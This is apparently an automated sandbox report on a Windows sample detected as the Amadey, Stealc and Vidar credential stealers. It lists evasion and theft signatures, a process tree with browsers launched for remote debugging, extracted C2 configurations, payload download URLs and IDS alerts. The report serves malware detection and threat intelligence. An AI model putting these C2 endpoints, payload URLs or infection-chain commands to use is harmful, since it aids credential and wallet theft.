Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1564476
MD5:	eff725edfb37ab797a338efab7f09c76
SHA1:	9a1d9acc84b66da5111b21dd37b27d4d3d505a8e
SHA256:	f5310d2651b5565f1bdf48d30b6ed328e4e831914e03945a0981a4b990b12ade
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 1780 cmdline: "C:\Users\user\Desktop\file.exe" MD5: EFF725EDFB37AB797A338EFAB7F09C76)

chrome.exe (PID: 7352 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7584 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2452 --field-trial-handle=2096,i,4119091583020407398,11720499751748180753,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 2236 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6160 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2520 --field-trial-handle=2288,i,14532237157609877678,14624364788927155022,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 9092 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDHJECFCGHI.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsDHJECFCGHI.exe (PID: 9144 cmdline: "C:\Users\user\DocumentsDHJECFCGHI.exe" MD5: A93B02D857DB3B12C32BD765B83825AB)

skotes.exe (PID: 2500 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: A93B02D857DB3B12C32BD765B83825AB)

msedge.exe (PID: 4476 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7580 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=1980,i,12650949980174122728,4087941016625412887,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7744 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6796 --field-trial-handle=1980,i,12650949980174122728,4087941016625412887,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7800 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6972 --field-trial-handle=1980,i,12650949980174122728,4087941016625412887,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8772 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6156 --field-trial-handle=1980,i,12650949980174122728,4087941016625412887,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 64 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: A93B02D857DB3B12C32BD765B83825AB)

skotes.exe (PID: 8984 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: A93B02D857DB3B12C32BD765B83825AB)

222aa393f7.exe (PID: 180 cmdline: "C:\Users\user~1\AppData\Local\Temp\1009855001\222aa393f7.exe" MD5: 1D5CDAA864A209507BC54F040F492FFA)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001A.00000002.1846706327.00000000002C1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000003.1849859542.0000000004A20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000003.2284664697.0000000004A00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1808225152.000000000119E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000003.1851240394.0000000004D20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1287052462.0000000004E10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1806196149.00000000003F1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000002.1891456591.0000000000221000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000002.2506123413.0000000000221000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000003.1804427465.0000000005150000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000002.1890636916.0000000000221000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 1780	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 1780	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 1780	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 1780	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author
27.2.skotes.exe.220000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
32.2.skotes.exe.220000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
28.2.skotes.exe.220000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
26.2.DocumentsDHJECFCGHI.exe.2c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 1780, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7352, ProcessName: chrome.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentCommandLine: "C:\Users\user\DocumentsDHJECFCGHI.exe" , ParentImage: C:\Users\user\DocumentsDHJECFCGHI.exe, ParentProcessId: 9144, ParentProcessName: DocumentsDHJECFCGHI.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , ProcessId: 2500, ProcessName: skotes.exe

Suricata Signatures

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T11:06:57.661262+0100	2044696	1	A Network Trojan was detected	192.168.2.7	65490	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T11:05:02.873151+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49702	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T11:05:02.726203+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.7	49702	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T11:05:03.193281+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.7	49702	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T11:05:05.032226+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.7	49702	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T11:05:03.723010+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49702	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T11:05:02.285236+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49702	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T11:06:41.313586+0100	2856147	1	A Network Trojan was detected	192.168.2.7	65450	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T11:06:56.266570+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.7	65460	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T11:06:46.854787+0100	2803305	3	Unknown Traffic	192.168.2.7	65466	31.41.244.11	80	TCP
2024-11-28T11:06:59.241237+0100	2803305	3	Unknown Traffic	192.168.2.7	65493	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T11:05:05.725971+0100	2803304	3	Unknown Traffic	192.168.2.7	49702	185.215.113.206	80	TCP
2024-11-28T11:05:28.149606+0100	2803304	3	Unknown Traffic	192.168.2.7	49782	185.215.113.206	80	TCP
2024-11-28T11:05:30.106096+0100	2803304	3	Unknown Traffic	192.168.2.7	49782	185.215.113.206	80	TCP
2024-11-28T11:05:31.455399+0100	2803304	3	Unknown Traffic	192.168.2.7	49782	185.215.113.206	80	TCP
2024-11-28T11:05:32.586168+0100	2803304	3	Unknown Traffic	192.168.2.7	49782	185.215.113.206	80	TCP
2024-11-28T11:05:36.211924+0100	2803304	3	Unknown Traffic	192.168.2.7	49782	185.215.113.206	80	TCP
2024-11-28T11:05:37.420424+0100	2803304	3	Unknown Traffic	192.168.2.7	49782	185.215.113.206	80	TCP
2024-11-28T11:05:43.114891+0100	2803304	3	Unknown Traffic	192.168.2.7	49915	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllSld	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dlly	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllI_	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/YvA	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/unique1/random.exe?	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/unique1/random.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpsystem32;C:	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/unique2/random.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpK2	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000001A.00000002.1846706327.00000000002C1000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.1780.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	ReversingLabs: Detection: 36%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CECA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CECA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC44C0 PK11_PubEncrypt,	0_2_6CEC44C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC4440 PK11_PrivDecrypt,	0_2_6CEC4440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE94420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CE94420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF125B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6CF125B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CEAE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA8670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CEA8670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CECA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6CECA650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEEA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6CEEA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEF0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6CEF0180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC43B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6CEC43B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6CEE7C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA7D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6CEA7D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEEBD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6CEEBD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6CEE9EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC3FF0 PK11_PrivDecryptPKCS1,	0_2_6CEC3FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC9840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6CEC9840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC3850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6CEC3850

Source: 222aa393f7.exe, 00000023.00000003.2504075791.000000000723F000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_c77d0bd4-6

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.7:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.7:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.7:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.4:443 -> 192.168.2.7:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.4:443 -> 192.168.2.7:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.7:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:65453 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1854729626.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1854729626.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
